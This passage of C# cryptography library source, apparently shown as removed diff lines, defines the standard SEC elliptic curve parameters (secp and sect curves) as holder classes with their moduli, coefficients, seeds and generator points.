- } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFF"); - BigInteger a = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC"); - BigInteger b = FromHex("1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45"); - byte[] seed = Hex.Decode("1053CDE42C14D696E67687561517533BF3F83345"); - BigInteger bigInteger = FromHex("0100000000000000000001F4C8F927AED3CA752257"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("044A96B5688EF573284664698968C38BB913CBFC8223A628553168947D59DCC912042351377AC5FB32")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp160r2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp160r2Holder(); - - private Secp160r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73"); - BigInteger a = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC70"); - BigInteger b = FromHex("B4E134D3FB59EB8BAB57274904664D5AF50388BA"); - byte[] seed = Hex.Decode("B99B99B099B323E02709A4D696E6768756151751"); - BigInteger bigInteger = FromHex("0100000000000000000000351EE786A818F3A1A16B"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0452DCB034293A117E1F4FF11B30F7199D3144CE6DFEAFFEF2E331F296E071FA0DF9982CFEA7D43F2E")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp192k1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp192k1Holder(); - - private Secp192k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFEE37"); - BigInteger zero = BigInteger.Zero; - BigInteger b = BigInteger.ValueOf(3L); - byte[] seed = null; - BigInteger bigInteger = FromHex("FFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D"); - BigInteger one = BigInteger.One; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("bb85691939b869c1d087f601554b96b80cb4f55b35f433c2", 16), new BigInteger("3d84f26c12238d7b4f3d516613c1759033b1a5800175d0b1", 16), new BigInteger[2] - { - new BigInteger("71169be7330b3038edb025f1", 16), - new BigInteger("-b3fb3400dec5c4adceb8655c", 16) - }, new BigInteger[2] - { - new BigInteger("12511cfe811d0f4e6bc688b4d", 16), - new BigInteger("71169be7330b3038edb025f1", 16) - }, new BigInteger("71169be7330b3038edb025f1d0f9", 16), new BigInteger("b3fb3400dec5c4adceb8655d4c94", 16), 208); - ECCurve eCCurve = ConfigureCurveGlv(new FpCurve(q, zero, b, bigInteger, one), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04DB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp192r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp192r1Holder(); - - private Secp192r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFC"); - BigInteger b = FromHex("64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1"); - byte[] seed = Hex.Decode("3045AE6FC8422F64ED579528D38120EAE12196D5"); - BigInteger bigInteger = FromHex("FFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF101207192B95FFC8DA78631011ED6B24CDD573F977A11E794811")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp224k1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp224k1Holder(); - - private Secp224k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFE56D"); - BigInteger zero = BigInteger.Zero; - BigInteger b = BigInteger.ValueOf(5L); - byte[] seed = null; - BigInteger bigInteger = FromHex("010000000000000000000000000001DCE8D2EC6184CAF0A971769FB1F7"); - BigInteger one = BigInteger.One; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("fe0e87005b4e83761908c5131d552a850b3f58b749c37cf5b84d6768", 16), new BigInteger("60dcd2104c4cbc0be6eeefc2bdd610739ec34e317f9b33046c9e4788", 16), new BigInteger[2] - { - new BigInteger("6b8cf07d4ca75c88957d9d670591", 16), - new BigInteger("-b8adf1378a6eb73409fa6c9c637d", 16) - }, new BigInteger[2] - { - new BigInteger("1243ae1b4d71613bc9f780a03690e", 16), - new BigInteger("6b8cf07d4ca75c88957d9d670591", 16) - }, new BigInteger("6b8cf07d4ca75c88957d9d67059037a4", 16), new BigInteger("b8adf1378a6eb73409fa6c9c637ba7f5", 16), 240); - ECCurve eCCurve = ConfigureCurveGlv(new FpCurve(q, zero, b, bigInteger, one), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04A1455B334DF099DF30FC28A169A467E9E47075A90F7E650EB6B7A45C7E089FED7FBA344282CAFBD6F7E319F7C0B0BD59E2CA4BDB556D61A5")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp224r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp224r1Holder(); - - private Secp224r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000001"); - BigInteger a = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFE"); - BigInteger b = FromHex("B4050A850C04B3ABF54132565044B0B7D7BFD8BA270B39432355FFB4"); - byte[] seed = Hex.Decode("BD71344799D5C7FCDC45B59FA3B9AB8F6A948BC5"); - BigInteger bigInteger = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04B70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21BD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp256k1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp256k1Holder(); - - private Secp256k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F"); - BigInteger zero = BigInteger.Zero; - BigInteger b = BigInteger.ValueOf(7L); - byte[] seed = null; - BigInteger bigInteger = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141"); - BigInteger one = BigInteger.One; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", 16), new BigInteger("5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", 16), new BigInteger[2] - { - new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16), - new BigInteger("-e4437ed6010e88286f547fa90abfe4c3", 16) - }, new BigInteger[2] - { - new BigInteger("114ca50f7a8e2f3f657c1108d9d44cfd8", 16), - new BigInteger("3086d221a7d46bcde86c90e49284eb15", 16) - }, new BigInteger("3086d221a7d46bcde86c90e49284eb153dab", 16), new BigInteger("e4437ed6010e88286f547fa90abfe4c42212", 16), 272); - ECCurve eCCurve = ConfigureCurveGlv(new FpCurve(q, zero, b, bigInteger, one), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0479BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp256r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp256r1Holder(); - - private Secp256r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC"); - BigInteger b = FromHex("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B"); - byte[] seed = Hex.Decode("C49D360886E704936A6678E1139D26B7819F7E90"); - BigInteger bigInteger = FromHex("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("046B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C2964FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp384r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp384r1Holder(); - - private Secp384r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF"); - BigInteger a = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC"); - BigInteger b = FromHex("B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF"); - byte[] seed = Hex.Decode("A335926AA319A27A1D00896A6773A4827ACDAC73"); - BigInteger bigInteger = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB73617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp521r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp521r1Holder(); - - private Secp521r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC"); - BigInteger b = FromHex("0051953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00"); - byte[] seed = Hex.Decode("D09E8800291CB85396CC6717393284AAA0DA64BA"); - BigInteger bigInteger = FromHex("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66011839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Sect113r1Holder : X9ECParametersHolder - { - private const int m = 113; - - private const int k = 9; - - internal static readonly X9ECParametersHolder Instance = new Sect113r1Holder(); - - private Sect113r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("003088250CA6E7C7FE649CE85820F7"); - BigInteger b = FromHex("00E8BEE4D3E2260744188BE0E9C723"); - byte[] seed = Hex.Decode("10E723AB14D696E6768756151756FEBF8FCB49A9"); - BigInteger bigInteger = FromHex("0100000000000000D9CCEC8A39E56F"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(113, 9, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04009D73616F35F4AB1407D73562C10F00A52830277958EE84D1315ED31886")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect113r2Holder : X9ECParametersHolder - { - private const int m = 113; - - private const int k = 9; - - internal static readonly X9ECParametersHolder Instance = new Sect113r2Holder(); - - private Sect113r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("00689918DBEC7E5A0DD6DFC0AA55C7"); - BigInteger b = FromHex("0095E9A9EC9B297BD4BF36E059184F"); - byte[] seed = Hex.Decode("10C0FB15760860DEF1EEF4D696E676875615175D"); - BigInteger bigInteger = FromHex("010000000000000108789B2496AF93"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(113, 9, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0401A57A6A7B26CA5EF52FCDB816479700B3ADC94ED1FE674C06E695BABA1D")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect131r1Holder : X9ECParametersHolder - { - private const int m = 131; - - private const int k1 = 2; - - private const int k2 = 3; - - private const int k3 = 8; - - internal static readonly X9ECParametersHolder Instance = new Sect131r1Holder(); - - private Sect131r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("07A11B09A76B562144418FF3FF8C2570B8"); - BigInteger b = FromHex("0217C05610884B63B9C6C7291678F9D341"); - byte[] seed = Hex.Decode("4D696E676875615175985BD3ADBADA21B43A97E2"); - BigInteger bigInteger = FromHex("0400000000000000023123953A9464B54D"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(131, 2, 3, 8, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040081BAF91FDF9833C40F9C181343638399078C6E7EA38C001F73C8134B1B4EF9E150")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect131r2Holder : X9ECParametersHolder - { - private const int m = 131; - - private const int k1 = 2; - - private const int k2 = 3; - - private const int k3 = 8; - - internal static readonly X9ECParametersHolder Instance = new Sect131r2Holder(); - - private Sect131r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("03E5A88919D7CAFCBF415F07C2176573B2"); - BigInteger b = FromHex("04B8266A46C55657AC734CE38F018F2192"); - byte[] seed = Hex.Decode("985BD3ADBAD4D696E676875615175A21B43A97E3"); - BigInteger bigInteger = FromHex("0400000000000000016954A233049BA98F"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(131, 2, 3, 8, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040356DCD8F2F95031AD652D23951BB366A80648F06D867940A5366D9E265DE9EB240F")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect163k1Holder : X9ECParametersHolder - { - private const int m = 163; - - private const int k1 = 3; - - private const int k2 = 6; - - private const int k3 = 7; - - internal static readonly X9ECParametersHolder Instance = new Sect163k1Holder(); - - private Sect163k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger one2 = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("04000000000000000000020108A2E0CC0D99F8A5EF"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(163, 3, 6, 7, one, one2, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0402FE13C0537BBC11ACAA07D793DE4E6D5E5C94EEE80289070FB05D38FF58321F2E800536D538CCDAA3D9")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect163r1Holder : X9ECParametersHolder - { - private const int m = 163; - - private const int k1 = 3; - - private const int k2 = 6; - - private const int k3 = 7; - - internal static readonly X9ECParametersHolder Instance = new Sect163r1Holder(); - - private Sect163r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("07B6882CAAEFA84F9554FF8428BD88E246D2782AE2"); - BigInteger b = FromHex("0713612DCDDCB40AAB946BDA29CA91F73AF958AFD9"); - byte[] seed = Hex.Decode("24B7B137C8A14D696E6768756151756FD0DA2E5C"); - BigInteger bigInteger = FromHex("03FFFFFFFFFFFFFFFFFFFF48AAB689C29CA710279B"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(163, 3, 6, 7, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040369979697AB43897789566789567F787A7876A65400435EDB42EFAFB2989D51FEFCE3C80988F41FF883")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect163r2Holder : X9ECParametersHolder - { - private const int m = 163; - - private const int k1 = 3; - - private const int k2 = 6; - - private const int k3 = 7; - - internal static readonly X9ECParametersHolder Instance = new Sect163r2Holder(); - - private Sect163r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger b = FromHex("020A601907B8C953CA1481EB10512F78744A3205FD"); - byte[] seed = Hex.Decode("85E25BFE5C86226CDB12016F7553F9D0E693A268"); - BigInteger bigInteger = FromHex("040000000000000000000292FE77E70C12A4234C33"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(163, 3, 6, 7, one, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0403F0EBA16286A2D57EA0991168D4994637E8343E3600D51FBC6C71A0094FA2CDD545B11C5C0C797324F1")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect193r1Holder : X9ECParametersHolder - { - private const int m = 193; - - private const int k = 15; - - internal static readonly X9ECParametersHolder Instance = new Sect193r1Holder(); - - private Sect193r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("0017858FEB7A98975169E171F77B4087DE098AC8A911DF7B01"); - BigInteger b = FromHex("00FDFB49BFE6C3A89FACADAA7A1E5BBC7CC1C2E5D831478814"); - byte[] seed = Hex.Decode("103FAEC74D696E676875615175777FC5B191EF30"); - BigInteger bigInteger = FromHex("01000000000000000000000000C7F34A778F443ACC920EBA49"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(193, 15, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0401F481BC5F0FF84A74AD6CDF6FDEF4BF6179625372D8C0C5E10025E399F2903712CCF3EA9E3A1AD17FB0B3201B6AF7CE1B05")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect193r2Holder : X9ECParametersHolder - { - private const int m = 193; - - private const int k = 15; - - internal static readonly X9ECParametersHolder Instance = new Sect193r2Holder(); - - private Sect193r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger a = FromHex("0163F35A5137C2CE3EA6ED8667190B0BC43ECD69977702709B"); - BigInteger b = FromHex("00C9BB9E8927D4D64C377E2AB2856A5B16E3EFB7F61D4316AE"); - byte[] seed = Hex.Decode("10B7B4D696E676875615175137C8A16FD0DA2211"); - BigInteger bigInteger = FromHex("010000000000000000000000015AAB561B005413CCD4EE99D5"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(193, 15, a, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400D9B67D192E0367C803F39E1A7E82CA14A651350AAE617E8F01CE94335607C304AC29E7DEFBD9CA01F596F927224CDECF6C")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect233k1Holder : X9ECParametersHolder - { - private const int m = 233; - - private const int k = 74; - - internal static readonly X9ECParametersHolder Instance = new Sect233k1Holder(); - - private Sect233k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger zero = BigInteger.Zero; - BigInteger one = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("8000000000000000000000000000069D5BB915BCD46EFB1AD5F173ABDF"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(233, 74, zero, one, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04017232BA853A7E731AF129F22FF4149563A419C26BF50A4C9D6EEFAD612601DB537DECE819B7F70F555A67C427A8CD9BF18AEB9B56E0C11056FAE6A3")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect233r1Holder : X9ECParametersHolder - { - private const int m = 233; - - private const int k = 74; - - internal static readonly X9ECParametersHolder Instance = new Sect233r1Holder(); - - private Sect233r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger b = FromHex("0066647EDE6C332C7F8C0923BB58213B333B20E9CE4281FE115F7D8F90AD"); - byte[] seed = Hex.Decode("74D59FF07F6B413D0EA14B344B20A2DB049B50C3"); - BigInteger bigInteger = FromHex("01000000000000000000000000000013E974E72F8A6922031D2603CFE0D7"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(233, 74, one, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0400FAC9DFCBAC8313BB2139F1BB755FEF65BC391F8B36F8F8EB7371FD558B01006A08A41903350678E58528BEBF8A0BEFF867A7CA36716F7E01F81052")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect239k1Holder : X9ECParametersHolder - { - private const int m = 239; - - private const int k = 158; - - internal static readonly X9ECParametersHolder Instance = new Sect239k1Holder(); - - private Sect239k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger zero = BigInteger.Zero; - BigInteger one = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("2000000000000000000000000000005A79FEC67CB6E91F1C1DA800E478A5"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(239, 158, zero, one, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0429A0B6A887A983E9730988A68727A8B2D126C44CC2CC7B2A6555193035DC76310804F12E549BDB011C103089E73510ACB275FC312A5DC6B76553F0CA")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect283k1Holder : X9ECParametersHolder - { - private const int m = 283; - - private const int k1 = 5; - - private const int k2 = 7; - - private const int k3 = 12; - - internal static readonly X9ECParametersHolder Instance = new Sect283k1Holder(); - - private Sect283k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger zero = BigInteger.Zero; - BigInteger one = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE9AE2ED07577265DFF7F94451E061E163C61"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(283, 5, 7, 12, zero, one, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040503213F78CA44883F1A3B8162F188E553CD265F23C1567A16876913B0C2AC245849283601CCDA380F1C9E318D90F95D07E5426FE87E45C0E8184698E45962364E34116177DD2259")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect283r1Holder : X9ECParametersHolder - { - private const int m = 283; - - private const int k1 = 5; - - private const int k2 = 7; - - private const int k3 = 12; - - internal static readonly X9ECParametersHolder Instance = new Sect283r1Holder(); - - private Sect283r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger b = FromHex("027B680AC8B8596DA5A4AF8A19A0303FCA97FD7645309FA2A581485AF6263E313B79A2F5"); - byte[] seed = Hex.Decode("77E2B07370EB0F832A6DD5B62DFC88CD06BB84BE"); - BigInteger bigInteger = FromHex("03FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEF90399660FC938A90165B042A7CEFADB307"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(283, 5, 7, 12, one, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0405F939258DB7DD90E1934F8C70B0DFEC2EED25B8557EAC9C80E2E198F8CDBECD86B1205303676854FE24141CB98FE6D4B20D02B4516FF702350EDDB0826779C813F0DF45BE8112F4")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect409k1Holder : X9ECParametersHolder - { - private const int m = 409; - - private const int k = 87; - - internal static readonly X9ECParametersHolder Instance = new Sect409k1Holder(); - - private Sect409k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger zero = BigInteger.Zero; - BigInteger one = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5F83B2D4EA20400EC4557D5ED3E3E7CA5B4B5C83B8E01E5FCF"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(409, 87, zero, one, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040060F05F658F49C1AD3AB1890F7184210EFD0987E307C84C27ACCFB8F9F67CC2C460189EB5AAAA62EE222EB1B35540CFE902374601E369050B7C4E42ACBA1DACBF04299C3460782F918EA427E6325165E9EA10E3DA5F6C42E9C55215AA9CA27A5863EC48D8E0286B")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect409r1Holder : X9ECParametersHolder - { - private const int m = 409; - - private const int k = 87; - - internal static readonly X9ECParametersHolder Instance = new Sect409r1Holder(); - - private Sect409r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger b = FromHex("0021A5C2C8EE9FEB5C4B9A753B7B476B7FD6422EF1F3DD674761FA99D6AC27C8A9A197B272822F6CD57A55AA4F50AE317B13545F"); - byte[] seed = Hex.Decode("4099B5A457F9D69F79213D094C4BCD4D4262210B"); - BigInteger bigInteger = FromHex("010000000000000000000000000000000000000000000000000001E2AAD6A612F33307BE5FA47C3C9E052F838164CD37D9A21173"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(409, 87, one, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04015D4860D088DDB3496B0C6064756260441CDE4AF1771D4DB01FFE5B34E59703DC255A868A1180515603AEAB60794E54BB7996A70061B1CFAB6BE5F32BBFA78324ED106A7636B9C5A7BD198D0158AA4F5488D08F38514F1FDF4B4F40D2181B3681C364BA0273C706")); - return new X9ECParameters(eCCurve, g, bigInteger, 